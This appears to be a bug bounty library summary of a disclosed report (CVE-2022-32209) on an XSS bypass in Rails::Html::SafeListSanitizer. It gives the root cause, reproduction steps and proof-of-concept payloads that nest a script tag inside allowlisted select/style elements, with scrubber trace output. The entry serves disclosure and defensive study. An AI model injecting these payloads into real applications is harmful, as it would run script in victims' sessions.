# Rails::Html::SafeListSanitizer vulnerable to xss attack in an environment that allows the style tag

Rails::Html::SafeListSanitizer fails to strip script tags nested inside select/style elements when both tags are allowlisted, enabling XSS.

- Payout: $2,400
- Severity: medium
- Program: Internet Bug Bounty
- Found by: windshock
- Disclosed: 2022-06-27
- CVE: CVE-2022-32209
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/1599573
- Library page: https://bugbountylibrary.com/r/h1%3A1599573
- Tags: area:web domain:web impact:integrity kind:bounty platform:hackerone sev:medium tech:java tech:ruby technique:parser-differential technique:source-review vuln:xss

**Target:** Rails::Html::SafeListSanitizer (rails-html-sanitizer gem)
**Root cause:** The sanitizer's allowlist logic permits style/select elements but does not recursively strip disallowed children like <script> inside them, and Nokogiri parser differences (Java vs Ruby) further alter tree structure so script content survives scrubbing.
**Steps:**
1. Configure sanitizer with tags: %w(select style)
2. Submit payload `<select><style><script>alert(1)</script></style></select>`
3. Sanitizer outputs the same string with script intact
4. Browser renders and executes alert(1)
**How found:** Researcher compared Nokogiri Java (JRuby) vs Ruby (CRuby) parsing of malformed markup `<select<style/>W<xmp<script>...` and noticed the scrubber emitted a style element containing a live script tag; then confirmed a straightforward well-formed variant also bypasses on CRuby.
**Exploitation:** Attacker injects the crafted markup into any field rendered through sanitize with select+style allowlisted; the sanitizer passes the script tag through, and the browser executes it in the victim's session.
**Insight:** When a sanitizer allowlists container elements (style, select, xmp), test whether disallowed children inside them are recursively scrubbed; also diff parser behavior across Nokogiri backends (Java vs libxml2) since tree-shape differences can smuggle nodes past allowlist checks.

## Proof of concept (copied exactly from the original report)

**Sanitizer bypass with select/style tags**

```
Rails::Html::SafeListSanitizer.new.sanitize("<select<style/>W<xmp<script>alert(1)</script>", tags: tags).to_s
puts "------------------------------------------------------------------"

result
input: <select<style/>W<xmp<script>alert(1)</script>
scrub --> node type :Nokogiri::XML::Text, node name :text, node to_s :W
scrub --> node type :Nokogiri::XML::Text, node name :text, node to_s :&lt;script&gt;alert(1)&lt;/script&gt;
scrub --> node type :Nokogiri::XML::Element, node name :xmp, node to_s :<xmp>&lt;script&gt;alert(1)&lt;/script&gt;</xmp>
scrub --> node type :Nokogiri::XML::Element, node name :style, node to_s :<style>W<script>alert(1)</script></style>
scrub --> node type :Nokogiri::XML::Element, node name :select, node to_s :<select><style>W<script>alert(1)</script></style></select>
output: <select><style>W<script>alert(1)</script></style></select>
```

**CRuby straightforward HTML PoC**

```
frag = "<select><style><script>alert(1)</script></style></select>"
tags = %w(select style)
puts Rails::Html::SafeListSanitizer.new.sanitize(frag, tags: tags)
```

## Write-ups of the same bug (oldest first)
- 2022-06-27: [Rails::Html::SafeListSanitizer vulnerable to xss attack in an environment that allows the style tag](https://bugbountylibrary.com/r/h1%3A1599573) — windshock (this one)
- 2023-01-04: [ CVE-2022-23520: Incomplete fix for CVE-2022-32209 (XSS in Rails::Html::Sanitizer under certain configurations)](https://bugbountylibrary.com/r/h1%3A1805893) — 0b5cur17y

